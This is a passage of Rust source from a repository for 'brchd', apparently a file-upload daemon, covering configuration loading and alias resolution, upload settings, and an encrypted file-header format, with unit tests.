config::DEFAULT_PATH_FORMAT.to_string()); 47 | 48 | let pubkey = if let Some(pubkey) = pubkey { 49 | let pubkey = if let Some(alias) = config::resolve_alias(&config.pubkeys, &pubkey)? { 50 | &alias.pubkey 51 | } else { 52 | &pubkey 53 | }; 54 | let pubkey = crypto::decode_pubkey(&pubkey)?; 55 | Some(pubkey) 56 | } else { 57 | None 58 | }; 59 | 60 | let seckey = if let Some(seckey) = seckey { 61 | let seckey = crypto::decode_seckey(&seckey)?; 62 | Some(seckey) 63 | } else { 64 | None 65 | }; 66 | 67 | Ok(DaemonConfig { 68 | socket, 69 | destination, 70 | concurrency, 71 | path_format, 72 | proxy: config.daemon.proxy, 73 | pubkey, 74 | seckey, 75 | }) 76 | } 77 | } 78 | 79 | #[cfg(all(test, feature="crypto"))] 80 | mod tests { 81 | use super::*; 82 | 83 | #[test] 84 | fn default_daemon_config() { 85 | let config = ConfigFile::load_slice(br#" 86 | [daemon] 87 | socket = "/asdf/brchd.socket" 88 | destination = "http://127.0.0.1:7070" 89 | "#).unwrap(); 90 | let config = DaemonConfig::build(config, &Args::default()).unwrap(); 91 | assert_eq!(config, DaemonConfig { 92 | socket: PathBuf::from("/asdf/brchd.socket"), 93 | destination: "http://127.0.0.1:7070".to_string(), 94 | concurrency: 3, 95 | path_format: "%p".to_string(), 96 | proxy: None, 97 | pubkey: None, 98 | seckey: None, 99 | }); 100 | } 101 | 102 | #[test] 103 | fn all_daemon_config() { 104 | let config = ConfigFile::load_slice(br#" 105 | [daemon] 106 | socket = "/asdf/brchd.socket" 107 | destination = "http://127.0.0.1:7070" 108 | concurrency = 1 109 | proxy = "socks5://127.0.0.1:9150" 110 | pubkey = "cxvWJ2JmG+hcVAyLFJIsofNwD7AsxioWw+7hxDBbejs=" 111 | 112 | [http] 113 | path_format = "%Y-%m-%d/%r-%f" 114 | 115 | [crypto] 116 | seckey = "5LYdSbVM3Pxnvzi71bZedjNXgnu0ZIjEObJeTqa3UAU=" 117 | "#).unwrap(); 118 | let config = DaemonConfig::build(config, &Args::default()).unwrap(); 119 | assert_eq!(config, DaemonConfig { 120 | socket: PathBuf::from("/asdf/brchd.socket"), 121 | destination: "http://127.0.0.1:7070".to_string(), 122 | concurrency: 1, 123 | path_format: "%Y-%m-%d/%r-%f".to_string(), 124 | proxy: Some("socks5://127.0.0.1:9150".to_string()), 125 | pubkey: Some(PublicKey::from_slice(&[ 126 | 115, 27, 214, 39, 98, 102, 27, 232, 92, 84, 12, 139, 20, 146, 127 | 44, 161, 243, 112, 15, 176, 44, 198, 42, 22, 195, 238, 225, 128 | 196, 48, 91, 122, 59, 129 | ]).unwrap()), 130 | seckey: Some(SecretKey::from_slice(&[ 131 | 228, 182, 29, 73, 181, 76, 220, 252, 103, 191, 56, 187, 213, 132 | 182, 94, 118, 51, 87, 130, 123, 180, 100, 136, 196, 57, 178, 133 | 94, 78, 166, 183, 80, 5, 134 | ]).unwrap()), 135 | }); 136 | } 137 | 138 | #[test] 139 | fn daemon_resolve_alias() { 140 | let config = ConfigFile::load_slice(br#" 141 | [daemon] 142 | socket = "/asdf/brchd.socket" 143 | destination = "@home" 144 | 145 | [destinations.home] 146 | destination = "http://127.0.0.1:7070" 147 | "#).unwrap(); 148 | let config = DaemonConfig::build(config, &Args::default()).unwrap(); 149 | assert_eq!(config, DaemonConfig { 150 | socket: PathBuf::from("/asdf/brchd.socket"), 151 | destination: "http://127.0.0.1:7070".to_string(), 152 | concurrency: 3, 153 | path_format: "%p".to_string(), 154 | proxy: None, 155 | pubkey: None, 156 | seckey: None, 157 | }); 158 | } 159 | 160 | #[test] 161 | fn daemon_resolve_alias_arg() { 162 | let args = Args { 163 | destination: Some("@home".to_string()), 164 | ..Default::default() 165 | }; 166 | let mut config = ConfigFile::load_slice(br#" 167 | [daemon] 168 | socket = "/asdf/brchd.socket" 169 | 170 | [destinations.home] 171 | destination = "http://127.0.0.1:7070" 172 | "#).unwrap(); 173 | config.update(&args); 174 | 175 | let config = DaemonConfig::build(config, &args).unwrap(); 176 | assert_eq!(config, DaemonConfig { 177 | socket: PathBuf::from("/asdf/brchd.socket"), 178 | destination: "http://127.0.0.1:7070".to_string(), 179 | concurrency: 3, 180 | path_format: "%p".to_string(), 181 | proxy: None, 182 | pubkey: None, 183 | seckey: None, 184 | }); 185 | } 186 | 187 | #[test] 188 | fn daemon_invalid_alias() { 189 | let config = ConfigFile::load_slice(br#" 190 | [daemon] 191 | socket = "/asdf/brchd.socket" 192 | destination = "@home" 193 | "#).unwrap(); 194 | let r = DaemonConfig::build(config, &Args::default()); 195 | assert!(r.is_err()); 196 | } 197 | 198 | #[test] 199 | fn daemon_without_pubkey_from_crypto_section() { 200 | let config = ConfigFile::load_slice(br#" 201 | [daemon] 202 | socket = "/asdf/brchd.socket" 203 | destination = "http://127.0.0.1:7070" 204 | 205 | [crypto] 206 | pubkey = "cxvWJ2JmG+hcVAyLFJIsofNwD7AsxioWw+7hxDBbejs=" 207 | "#).unwrap(); 208 | let config = DaemonConfig::build(config, &Args::default()).unwrap(); 209 | assert_eq!(config, DaemonConfig { 210 | socket: PathBuf::from("/asdf/brchd.socket"), 211 | destination: "http://127.0.0.1:7070".to_string(), 212 | concurrency: 3, 213 | path_format: "%p".to_string(), 214 | proxy: None, 215 | pubkey: None, 216 | seckey: None, 217 | }); 218 | 219 | } 220 | 221 | #[test] 222 | fn daemon_with_seckey_from_crypto_section() { 223 | let config = ConfigFile::load_slice(br#" 224 | [daemon] 225 | socket = "/asdf/brchd.socket" 226 | destination = "http://127.0.0.1:7070" 227 | 228 | [crypto] 229 | seckey = "5LYdSbVM3Pxnvzi71bZedjNXgnu0ZIjEObJeTqa3UAU=" 230 | "#).unwrap(); 231 | let config = DaemonConfig::build(config, &Args::default()).unwrap(); 232 | assert_eq!(config, DaemonConfig { 233 | socket: PathBuf::from("/asdf/brchd.socket"), 234 | destination: "http://127.0.0.1:7070".to_string(), 235 | concurrency: 3, 236 | path_format: "%p".to_string(), 237 | proxy: None, 238 | pubkey: None, 239 | seckey: Some(SecretKey::from_slice(&[ 240 | 228, 182, 29, 73, 181, 76, 220, 252, 103, 191, 56, 187, 213, 241 | 182, 94, 118, 51, 87, 130, 123, 180, 100, 136, 196, 57, 178, 242 | 94, 78, 166, 183, 80, 5, 243 | ]).unwrap()), 244 | }); 245 | 246 | } 247 | 248 | #[test] 249 | fn daemon_with_config_pubkey() { 250 | let config = ConfigFile::load_slice(br#" 251 | [daemon] 252 | socket = "/asdf/brchd.socket" 253 | destination = "http://127.0.0.1:7070" 254 | pubkey = "cxvWJ2JmG+hcVAyLFJIsofNwD7AsxioWw+7hxDBbejs=" 255 | "#).unwrap(); 256 | let config = DaemonConfig::build(config, &Args::default()).unwrap(); 257 | assert_eq!(config, DaemonConfig { 258 | socket: PathBuf::from("/asdf/brchd.socket"), 259 | destination: "http://127.0.0.1:7070".to_string(), 260 | concurrency: 3, 261 | path_format: "%p".to_string(), 262 | proxy: None, 263 | pubkey: Some(PublicKey::from_slice(&[ 264 | 115, 27, 214, 39, 98, 102, 27, 232, 92, 84, 12, 139, 20, 146, 265 | 44, 161, 243, 112, 15, 176, 44, 198, 42, 22, 195, 238, 225, 266 | 196, 48, 91, 122, 59, 267 | ]).unwrap()), 268 | seckey: None, 269 | }); 270 | } 271 | 272 | #[test] 273 | fn daemon_with_arg_pubkey() { 274 | let args = Args { 275 | pubkey: Some("7MeJ1aZnUDzxBoZvMyx4UYS2M1KoR3j60kLWfzmMWAU=".to_string()), 276 | ..Default::default() 277 | }; 278 | let mut config = ConfigFile::load_slice(br#" 279 | [daemon] 280 | socket = "/asdf/brchd.socket" 281 | destination = "http://127.0.0.1:7070" 282 | pubkey = "cxvWJ2JmG+hcVAyLFJIsofNwD7AsxioWw+7hxDBbejs=" 283 | "#).unwrap(); 284 | config.update(&args); 285 | 286 | let config = DaemonConfig::build(config, &args).unwrap(); 287 | assert_eq!(config, DaemonConfig { 288 | socket: PathBuf::from("/asdf/brchd.socket"), 289 | destination: "http://127.0.0.1:7070".to_string(), 290 | concurrency: 3, 291 | path_format: "%p".to_string(), 292 | proxy: None, 293 | pubkey: Some(PublicKey::from_slice(&[ 294 | 236, 199, 137, 213, 166, 103, 80, 60, 241, 6, 134, 111, 51, 44, 295 | 120, 81, 132, 182, 51, 82, 168, 71, 120, 250, 210, 66, 214, 296 | 127, 57, 140, 88, 5, 297 | ]).unwrap()), 298 | seckey: None, 299 | }); 300 | } 301 | 302 | #[test] 303 | fn daemon_with_pubkey_from_alias() { 304 | let config = ConfigFile::load_slice(br#" 305 | [daemon] 306 | socket = "/asdf/brchd.socket" 307 | destination = "@home" 308 | pubkey = "cxvWJ2JmG+hcVAyLFJIsofNwD7AsxioWw+7hxDBbejs=" 309 | 310 | [destinations.home] 311 | destination = "http://127.0.0.1:7070" 312 | pubkey = "8S3Esx/GSsWZZbfcp4XO/stoyA/ABCE9xXaqM53kEgM=" 313 | "#).unwrap(); 314 | let config = DaemonConfig::build(config, &Args::default()).unwrap(); 315 | assert_eq!(config, DaemonConfig { 316 | socket: PathBuf::from("/asdf/brchd.socket"), 317 | destination: "http://127.0.0.1:7070".to_string(), 318 | concurrency: 3, 319 | path_format: "%p".to_string(), 320 | proxy: None, 321 | pubkey: Some(PublicKey::from_slice(&[ 322 | 241, 45, 196, 179, 31, 198, 74, 197, 153, 101, 183, 220, 167, 323 | 133, 206, 254, 203, 104, 200, 15, 192, 4, 33, 61, 197, 118, 324 | 170, 51, 157, 228, 18, 3, 325 | ]).unwrap()), 326 | seckey: None, 327 | }); 328 | } 329 | 330 | #[test] 331 | fn daemon_with_pubkey_from_arg_despite_alias() { 332 | let args = Args { 333 | pubkey: Some("7MeJ1aZnUDzxBoZvMyx4UYS2M1KoR3j60kLWfzmMWAU=".to_string()), 334 | ..Default::default() 335 | }; 336 | let mut config = ConfigFile::load_slice(br#" 337 | [daemon] 338 | socket = "/asdf/brchd.socket" 339 | destination = "@home" 340 | pubkey = "cxvWJ2JmG+hcVAyLFJIsofNwD7AsxioWw+7hxDBbejs=" 341 | 342 | [destinations.home] 343 | destination = "http://127.0.0.1:7070" 344 | pubkey = "8S3Esx/GSsWZZbfcp4XO/stoyA/ABCE9xXaqM53kEgM=" 345 | "#).unwrap(); 346 | config.update(&args); 347 | 348 | let config = DaemonConfig::build(config, &args).unwrap(); 349 | assert_eq!(config, DaemonConfig { 350 | socket: PathBuf::from("/asdf/brchd.socket"), 351 | destination: "http://127.0.0.1:7070".to_string(), 352 | concurrency: 3, 353 | path_format: "%p".to_string(), 354 | proxy: None, 355 | pubkey: Some(PublicKey::from_slice(&[ 356 | 236, 199, 137, 213, 166, 103, 80, 60, 241, 6, 134, 111, 51, 44, 357 | 120, 81, 132, 182, 51, 82, 168, 71, 120, 250, 210, 66, 214, 358 | 127, 57, 140, 88, 5, 359 | ]).unwrap()), 360 | seckey: None, 361 | }); 362 | } 363 | 364 | #[test] 365 | fn daemon_with_pubkey_alias_in_dest() { 366 | let config = ConfigFile::load_slice(br#" 367 | [daemon] 368 | socket = "/asdf/brchd.socket" 369 | destination = "http://127.0.0.1:7070" 370 | pubkey = "@home" 371 | 372 | [pubkeys.home] 373 | pubkey = "cxvWJ2JmG+hcVAyLFJIsofNwD7AsxioWw+7hxDBbejs=" 374 | "#).unwrap(); 375 | let config = DaemonConfig::build(config, &Args::default()).unwrap(); 376 | assert_eq!(config, DaemonConfig { 377 | socket: PathBuf::from("/asdf/brchd.socket"), 378 | destination: "http://127.0.0.1:7070".to_string(), 379 | concurrency: 3, 380 | path_format: "%p".to_string(), 381 | proxy: None, 382 | pubkey: Some(PublicKey::from_slice(&[ 383 | 115, 27, 214, 39, 98, 102, 27, 232, 92, 84, 12, 139, 20, 146, 384 | 44, 161, 243, 112, 15, 176, 44, 198, 42, 22, 195, 238, 225, 385 | 196, 48, 91, 122, 59, 386 | ]).unwrap()), 387 | seckey: None, 388 | }); 389 | } 390 | 391 | #[test] 392 | fn daemon_with_pubkey_alias_in_destination_alias() { 393 | let config = ConfigFile::load_slice(br#" 394 | [daemon] 395 | socket = "/asdf/brchd.socket" 396 | destination = "@home" 397 | pubkey = "cxvWJ2JmG+hcVAyLFJIsofNwD7AsxioWw+7hxDBbejs=" 398 | 399 | [destinations.home] 400 | destination = "http://127.0.0.1:7070" 401 | pubkey = "@foo" 402 | 403 | [pubkeys.foo] 404 | pubkey = "8S3Esx/GSsWZZbfcp4XO/stoyA/ABCE9xXaqM53kEgM=" 405 | "#).unwrap(); 406 | let config = DaemonConfig::build(config, &Args::default()).unwrap(); 407 | assert_eq!(config, DaemonConfig { 408 | socket: PathBuf::from("/asdf/brchd.socket"), 409 | destination: "http://127.0.0.1:7070".to_string(), 410 | concurrency: 3, 411 | path_format: "%p".to_string(), 412 | proxy: None, 413 | pubkey: Some(PublicKey::from_slice(&[ 414 | 241, 45, 196, 179, 31, 198, 74, 197, 153, 101, 183, 220, 167, 415 | 133, 206, 254, 203, 104, 200, 15, 192, 4, 33, 61, 197, 118, 416 | 170, 51, 157, 228, 18, 3, 417 | ]).unwrap()), 418 | seckey: None, 419 | }); 420 | } 421 | 422 | #[test] 423 | fn daemon_with_pubkey_from_arg_despite_key_in_dest_alias() { 424 | let args = Args { 425 | pubkey: Some("7MeJ1aZnUDzxBoZvMyx4UYS2M1KoR3j60kLWfzmMWAU=".to_string()), 426 | ..Default::default() 427 | }; 428 | let mut config = ConfigFile::load_slice(br#" 429 | [daemon] 430 | socket = "/asdf/brchd.socket" 431 | destination = "@home" 432 | pubkey = "cxvWJ2JmG+hcVAyLFJIsofNwD7AsxioWw+7hxDBbejs=" 433 | 434 | [destinations.home] 435 | destination = "http://127.0.0.1:7070" 436 | pubkey = "@foo" 437 | 438 | [pubkeys.foo] 439 | pubkey = "8S3Esx/GSsWZZbfcp4XO/stoyA/ABCE9xXaqM53kEgM=" 440 | "#).unwrap(); 441 | config.update(&args); 442 | 443 | let config = DaemonConfig::build(config, &args).unwrap(); 444 | assert_eq!(config, DaemonConfig { 445 | socket: PathBuf::from("/asdf/brchd.socket"), 446 | destination: "http://127.0.0.1:7070".to_string(), 447 | concurrency: 3, 448 | path_format: "%p".to_string(), 449 | proxy: None, 450 | pubkey: Some(PublicKey::from_slice(&[ 451 | 236, 199, 137, 213, 166, 103, 80, 60, 241, 6, 134, 111, 51, 44, 452 | 120, 81, 132, 182, 51, 82, 168, 71, 120, 250, 210, 66, 214, 453 | 127, 57, 140, 88, 5, 454 | ]).unwrap()), 455 | seckey: None, 456 | }); 457 | } 458 | 459 | #[test] 460 | fn daemon_with_pubkey_from_arg_alias_despite_key_in_dest_alias() { 461 | let args = Args { 462 | pubkey: Some("@bar".to_string()), 463 | ..Default::default() 464 | }; 465 | let mut config = ConfigFile::load_slice(br#" 466 | [daemon] 467 | socket = "/asdf/brchd.socket" 468 | destination = "@home" 469 | pubkey = "cxvWJ2JmG+hcVAyLFJIsofNwD7AsxioWw+7hxDBbejs=" 470 | 471 | [destinations.home] 472 | destination = "http://127.0.0.1:7070" 473 | pubkey = "@foo" 474 | 475 | [pubkeys.foo] 476 | pubkey = "7MeJ1aZnUDzxBoZvMyx4UYS2M1KoR3j60kLWfzmMWAU=" 477 | 478 | [pubkeys.bar] 479 | pubkey = "8S3Esx/GSsWZZbfcp4XO/stoyA/ABCE9xXaqM53kEgM=" 480 | "#).unwrap(); 481 | config.update(&args); 482 | 483 | let config = DaemonConfig::build(config, &args).unwrap(); 484 | assert_eq!(config, DaemonConfig { 485 | socket: PathBuf::from("/asdf/brchd.socket"), 486 | destination: "http://127.0.0.1:7070".to_string(), 487 | concurrency: 3, 488 | path_format: "%p".to_string(), 489 | proxy: None, 490 | pubkey: Some(PublicKey::from_slice(&[ 491 | 241, 45, 196, 179, 31, 198, 74, 197, 153, 101, 183, 220, 167, 492 | 133, 206, 254, 203, 104, 200, 15, 192, 4, 33, 61, 197, 118, 493 | 170, 51, 157, 228, 18, 3, 494 | ]).unwrap()), 495 | seckey: None, 496 | }); 497 | } 498 | } 499 | -------------------------------------------------------------------------------- /src/config/file.rs: -------------------------------------------------------------------------------- 1 | use crate::args::Args; 2 | use crate::errors::*; 3 | use serde::{Serialize, Deserialize}; 4 | use std::collections::HashMap; 5 | use std::fs; 6 | use std::net::SocketAddr; 7 | use std::path::{Path, PathBuf}; 8 | 9 | fn find_config_file() -> Option { 10 | if let Some(path) = dirs::config_dir() { 11 | let path = path.join("brchd.toml"); 12 | if path.exists() { 13 | return Some(path); 14 | } 15 | } 16 | 17 | let path = PathBuf::from("/etc/brchd.toml"); 18 | if path.exists() { 19 | return Some(path); 20 | } 21 | 22 | None 23 | } 24 | 25 | #[derive(Debug, Default, Serialize, Deserialize)] 26 | pub struct ConfigFile { 27 | #[serde(default)] 28 | pub daemon: Daemon, 29 | #[serde(default)] 30 | pub http: Http, 31 | #[serde(default)] 32 | pub crypto: Crypto, 33 | #[serde(default)] 34 | pub destinations: HashMap, 35 | #[serde(default)] 36 | pub pubkeys: HashMap, 37 | } 38 | 39 | impl ConfigFile { 40 | fn load_from>(path: P) -> Result { 41 | let buf = fs::read(path) 42 | .context("Failed to read config file")?; 43 | ConfigFile::load_slice(&buf) 44 | } 45 | 46 | #[inline] 47 | pub fn load_slice(buf: &[u8]) -> Result { 48 | toml::from_slice(&buf) 49 | .context("Failed to parse config file") 50 | } 51 | 52 | pub fn update(&mut self, args: &Args) { 53 | if let Some(v) = &args.destination { 54 | self.daemon.destination = Some(v.clone()); 55 | self.http.destination = Some(v.clone()); 56 | } 57 | 58 | if let Some(v) = &args.bind_addr { 59 | self.http.bind_addr = Some(*v); 60 | } 61 | 62 | if let Some(v) = args.concurrency { 63 | self.daemon.concurrency = Some(v); 64 | } 65 | 66 | if let Some(v) = &args.proxy { 67 | self.daemon.proxy = Some(v.clone()); 68 | } 69 | 70 | if let Some(v) = &args.path_format { 71 | self.http.path_format = Some(v.clone()); 72 | } 73 | 74 | if let Some(v) = &args.pubkey { 75 | self.crypto.pubkey = Some(v.clone()); 76 | self.daemon.pubkey = Some(v.clone()); 77 | } 78 | 79 | if let Some(v) = &args.seckey { 80 | self.crypto.seckey = Some(v.clone()); 81 | } 82 | } 83 | 84 | pub fn load(args: &Args) -> Result { 85 | let mut config = if let Some(path) = &args.config { 86 | ConfigFile::load_from(path)? 87 | } else if let Some(path) = find_config_file() { 88 | ConfigFile::load_from(path)? 89 | } else { 90 | ConfigFile::default() 91 | }; 92 | 93 | config.update(args); 94 | Ok(config) 95 | } 96 | } 97 | 98 | #[derive(Debug, Default, Serialize, Deserialize)] 99 | pub struct Daemon { 100 | pub socket: Option, 101 | pub destination: Option, 102 | pub concurrency: Option, 103 | pub pubkey: Option, 104 | pub proxy: Option, 105 | } 106 | 107 | #[derive(Debug, Default, Serialize, Deserialize)] 108 | pub struct Http { 109 | pub bind_addr: Option, 110 | pub destination: Option, 111 | pub path_format: Option, 112 | } 113 | 114 | #[derive(Debug, Default, Serialize, Deserialize)] 115 | pub struct Crypto { 116 | pub pubkey: Option, 117 | pub seckey: Option, 118 | } 119 | 120 | #[derive(Debug, Serialize, Deserialize)] 121 | pub struct Destination { 122 | pub destination: String, 123 | pub pubkey: Option, 124 | } 125 | 126 | #[derive(Debug, Serialize, Deserialize)] 127 | pub struct Pubkey { 128 | pub pubkey: String, 129 | } 130 | -------------------------------------------------------------------------------- /src/config/mod.rs: -------------------------------------------------------------------------------- 1 | use crate::errors::*; 2 | use std::collections::HashMap; 3 | use std::net::{SocketAddr, IpAddr, Ipv6Addr}; 4 | 5 | const DEFAULT_CONCURRENCY: usize = 3; 6 | const DEFAULT_PATH_FORMAT: &str = "%p"; 7 | 8 | mod file; 9 | pub use self::file::ConfigFile; 10 | mod daemon; 11 | pub use self::daemon::DaemonConfig; 12 | mod client; 13 | pub use self::client::ClientConfig; 14 | mod upload; 15 | pub use self::upload::UploadConfig; 16 | mod crypto; 17 | pub use self::crypto::{EncryptConfig, DecryptConfig}; 18 | 19 | #[inline(always)] 20 | fn default_port() -> SocketAddr { 21 | SocketAddr::new( 22 | IpAddr::V6(Ipv6Addr::new(0, 0, 0, 0, 0, 0, 0, 0)), 23 | 7070, 24 | ) 25 | } 26 | 27 | fn resolve_alias<'a, T>(aliases: &'a HashMap, alias: &str) -> Result> { 28 | if alias.starts_with('@') { 29 | let value = aliases.get(&alias[1..]) 30 | .ok_or_else(|| format_err!("Failed to resolve alias"))?; 31 | Ok(Some(value)) 32 | } else { 33 | Ok(None) 34 | } 35 | } 36 | -------------------------------------------------------------------------------- /src/config/upload.rs: -------------------------------------------------------------------------------- 1 | use crate::args::Args; 2 | use crate::config::{self, ConfigFile}; 3 | use crate::errors::*; 4 | use serde::{Serialize, Deserialize}; 5 | use std::net::SocketAddr; 6 | 7 | #[derive(Debug, PartialEq, Serialize, Deserialize)] 8 | pub struct UploadConfig { 9 | pub bind_addr: SocketAddr, 10 | pub destination: String, 11 | pub path_format: String, 12 | } 13 | 14 | impl UploadConfig { 15 | pub fn load(args: &Args) -> Result { 16 | let config = ConfigFile::load(args)?; 17 | Self::build(config, args) 18 | } 19 | 20 | fn build(config: ConfigFile, _args: &Args) -> Result { 21 | let destination = config.http.destination 22 | .ok_or_else(|| format_err!("destination is required"))?; 23 | 24 | let bind_addr = config.http.bind_addr 25 | .unwrap_or_else(config::default_port); 26 | 27 | let path_format = config.http.path_format 28 | .unwrap_or_else(|| config::DEFAULT_PATH_FORMAT.to_string()); 29 | 30 | Ok(UploadConfig { 31 | destination, 32 | bind_addr, 33 | path_format, 34 | }) 35 | } 36 | } 37 | 38 | #[cfg(test)] 39 | mod tests { 40 | use super::*; 41 | 42 | #[test] 43 | fn default_upload_config() { 44 | let config = ConfigFile::load_slice(br#" 45 | [http] 46 | destination = "/drop" 47 | "#).unwrap(); 48 | let config = UploadConfig::build(config, &Args::default()).unwrap(); 49 | assert_eq!(config, UploadConfig { 50 | bind_addr: "[::]:7070".parse().unwrap(), 51 | destination: "/drop".to_string(), 52 | path_format: "%p".to_string(), 53 | }); 54 | } 55 | 56 | #[test] 57 | fn all_upload_config() { 58 | let config = ConfigFile::load_slice(br#" 59 | [http] 60 | destination = "/drop" 61 | bind_addr = "127.0.0.1:1337" 62 | path_format = "%Y-%m-%d/%r-%f" 63 | "#).unwrap(); 64 | let config = UploadConfig::build(config, &Args::default()).unwrap(); 65 | assert_eq!(config, UploadConfig { 66 | bind_addr: "127.0.0.1:1337".parse().unwrap(), 67 | destination: "/drop".to_string(), 68 | path_format: "%Y-%m-%d/%r-%f".to_string(), 69 | }); 70 | } 71 | } 72 | -------------------------------------------------------------------------------- /src/crypto/header.rs: -------------------------------------------------------------------------------- 1 | use crate::errors::*; 2 | use nom::{ 3 | IResult, 4 | bytes::complete::{tag, take}, 5 | number::complete::{be_u16}, 6 | combinator::map_opt, 7 | }; 8 | use serde::{Serialize, Deserialize}; 9 | use sodiumoxide::crypto::box_::{self, Nonce, PublicKey, SecretKey, NONCEBYTES, PUBLICKEYBYTES}; 10 | use sodiumoxide::crypto::secretstream::{self, Key, Stream, Pull}; 11 | use std::borrow::Cow; 12 | use std::convert::TryFrom; 13 | 14 | const MAGIC: &[u8] = b"\x00#BRCHD\x00"; 15 | const MAGIC_SIZE: usize = 8; 16 | pub const HEADER_INTRO_LEN: usize = MAGIC_SIZE + NONCEBYTES + PUBLICKEYBYTES + 2; 17 | 18 | const PADDING_SIZE: usize = 48; 19 | const PADDING_BASELINE: usize = 59; 20 | 21 | type Intro = (Nonce, PublicKey, u16); 22 | pub type RawHeader = (Nonce, PublicKey, Vec); 23 | 24 | use base64_serde::base64_serde_type; 25 | use base64::STANDARD; 26 | base64_serde_type!(Base64Standard, STANDARD); 27 | 28 | #[derive(Debug, PartialEq, Serialize, Deserialize)] 29 | pub struct Header { 30 | #[serde(rename="k", with="Base64Standard")] 31 | pub key: Vec, 32 | #[serde(rename="n", skip_serializing_if = "Option::is_none")] 33 | pub name: Option, 34 | } 35 | 36 | impl Header { 37 | pub fn encrypt(&self, pubkey: &PublicKey, seckey: Option<&SecretKey>) -> Result> { 38 | let mut header = serde_json::to_vec(self)?; 39 | self.pad_header(&mut header); 40 | 41 | let nonce = box_::gen_nonce(); 42 | let (pk, sk) = if let Some(seckey) = seckey { 43 | (seckey.public_key(), Cow::Borrowed(seckey)) 44 | } else { 45 | let (pk, sk) = box_::gen_keypair(); 46 | (pk, Cow::Owned(sk)) 47 | }; 48 | 49 | let header = box_::seal(&header, &nonce, pubkey, &sk); 50 | 51 | let len = u16::try_from(header.len()) 52 | .context("File encryption header is too large")?; 53 | 54 | let mut out = Vec::from(MAGIC); 55 | out.extend(&nonce[..]); 56 | out.extend(&pk[..]); 57 | out.extend(&len.to_be_bytes()); 58 | out.extend(&header); 59 | 60 | Ok(out) 61 | } 62 | 63 | pub fn open_stream_pull(&self, header: &secretstream::Header) -> Result> { 64 | let key = Key::from_slice(&self.key) 65 | .ok_or_else(|| format_err!("Invalid secretstream key"))?; 66 | 67 | Stream::init_pull(header, &key) 68 | .map_err(|_| format_err!("Failed to open file decryption stream")) 69 | } 70 | 71 | fn pad_header(&self, header: &mut Vec) { 72 | // everything below this threshold doesn't have a filename set 73 | if header.len() >= PADDING_BASELINE { 74 | let n = (header.len() - PADDING_BASELINE) % PADDING_SIZE; 75 | if n > 0 { 76 | header.extend(" ".repeat(PADDING_SIZE - n).bytes()); 77 | } 78 | } 79 | } 80 | } 81 | 82 | pub fn decrypt(nonce: &Nonce, pk: &PublicKey, data: &[u8], sk: &SecretKey) -> Result
{ 83 | let header = box_::open(data, nonce, pk, sk) 84 | .map_err(|_| format_err!("Failed to decrypt header"))?; 85 | let header = serde_json::from_slice(&header)?; 86 | Ok(header) 87 | } 88 | 89 | pub fn decrypt_slice(input: &[u8], sk: &SecretKey) -> Result
{ 90 | let (input, ( 91 | nonce, 92 | pk, 93 | len, 94 | )) = intro(input) 95 | .map_err(|e| format_err!("Failed to parse encryption header intro: {}", e))?; 96 | 97 | if input.len() != len as usize { 98 | bail!("Failed to read encryption header body"); 99 | } 100 | 101 | decrypt(&nonce, &pk, input, sk) 102 | } 103 | 104 | pub fn parse_intro(input: &[u8]) -> Result { 105 | intro(input) 106 | .map(|(_, x)| x) 107 | .map_err(|e| format_err!("Failed to parse encryption header intro: {}", e)) 108 | } 109 | 110 | fn intro(input: &[u8]) -> IResult<&[u8], Intro> { 111 | let (input, _) = tag(MAGIC)(input)?; 112 | let (input, nonce) = nonce(input)?; 113 | let (input, pk) = pubkey(input)?; 114 | let (input, len) = be_u16(input)?; 115 | Ok((input, (nonce, pk, len))) 116 | } 117 | 118 | fn nonce(input: &[u8]) -> IResult<&[u8], Nonce> { 119 | map_opt( 120 | take(NONCEBYTES), 121 | Nonce::from_slice 122 | )(input) 123 | } 124 | 125 | fn pubkey(input: &[u8]) -> IResult<&[u8], PublicKey> { 126 | map_opt( 127 | take(PUBLICKEYBYTES), 128 | PublicKey::from_slice 129 | )(input) 130 | } 131 | 132 | #[cfg(test)] 133 | mod tests { 134 | use sodiumoxide::crypto::secretstream::gen_key; 135 | use super::*; 136 | 137 | fn sec() -> SecretKey { 138 | SecretKey::from_slice(&[ 139 | 75, 34, 106, 31, 123, 150, 128, 79, 208, 89, 61, 66, 53, 35, 62, 111, 140 | 41, 78, 178, 55, 187, 47, 244, 155, 61, 206, 49, 130, 219, 28, 104, 5, 141 | ]).unwrap() 142 | } 143 | 144 | #[test] 145 | fn roundtrip() { 146 | let sk = sec(); 147 | let h1 = Header { 148 | key: vec![1,2,3,4], 149 | name: Some("ohai.txt".to_string()), 150 | }; 151 | let header = h1.encrypt(&sk.public_key(), None).expect("encrypt"); 152 | println!("header: {:?}", header); 153 | let h2 = decrypt_slice(&header, &sk).expect("decrypt"); 154 | assert_eq!(h1, h2); 155 | } 156 | 157 | #[test] 158 | fn const_len_filename_varies() { 159 | let sk = sec(); 160 | let key = gen_key(); 161 | 162 | let h1 = Header { 163 | key: key.0.to_vec(), 164 | name: Some("ohai.txt".to_string()), 165 | }.encrypt(&sk.public_key(), None).expect("encrypt"); 166 | 167 | let h2 = Header { 168 | key: key.0.to_vec(), 169 | name: Some("this/file/is/slightly/longer.txt".to_string()), 170 | }.encrypt(&sk.public_key(), None).expect("encrypt"); 171 | 172 | assert_eq!(h1.len(), h2.len()); 173 | } 174 | 175 | #[test] 176 | fn shortest_padded_header() { 177 | let sk = sec(); 178 | let key = gen_key(); 179 | 180 | let h = Header { 181 | key: key.0.to_vec(), 182 | name: None, 183 | }.encrypt(&sk.public_key(), None).expect("encrypt"); 184 | 185 | assert_eq!(h.len(), 134); 186 | } 187 | 188 | #[test] 189 | fn padding_baseline_is_correct() { 190 | let key = gen_key(); 191 | 192 | let h = Header { 193 | key: key.0.to_vec(), 194 | name: Some(String::new()), 195 | }; 196 | 197 | let buf = serde_json::to_vec(&h).unwrap(); 198 | assert_eq!(buf.len(), PADDING_BASELINE); 199 | } 200 | 201 | #[test] 202 | fn encrypt_with_specified_key() { 203 | let sk = sec(); 204 | let (pk, _) = box_::gen_keypair(); 205 | 206 | let h1 = Header { 207 | key: vec![1,2,3,4], 208 | name: Some("ohai.txt".to_string()), 209 | }; 210 | let header = h1.encrypt(&pk, Some(&sk)).expect("encrypt"); 211 | 212 | assert_eq!(&header[32..64], sk.public_key().0); 213 | } 214 | } 215 | -------------------------------------------------------------------------------- /src/crypto/mod.rs: -------------------------------------------------------------------------------- 1 | use crate::args::Args; 2 | use sodiumoxide::crypto::box_; 3 | pub use sodiumoxide::crypto::box_::{PublicKey, SecretKey}; 4 | use sodiumoxide::crypto::secretstream; 5 | use 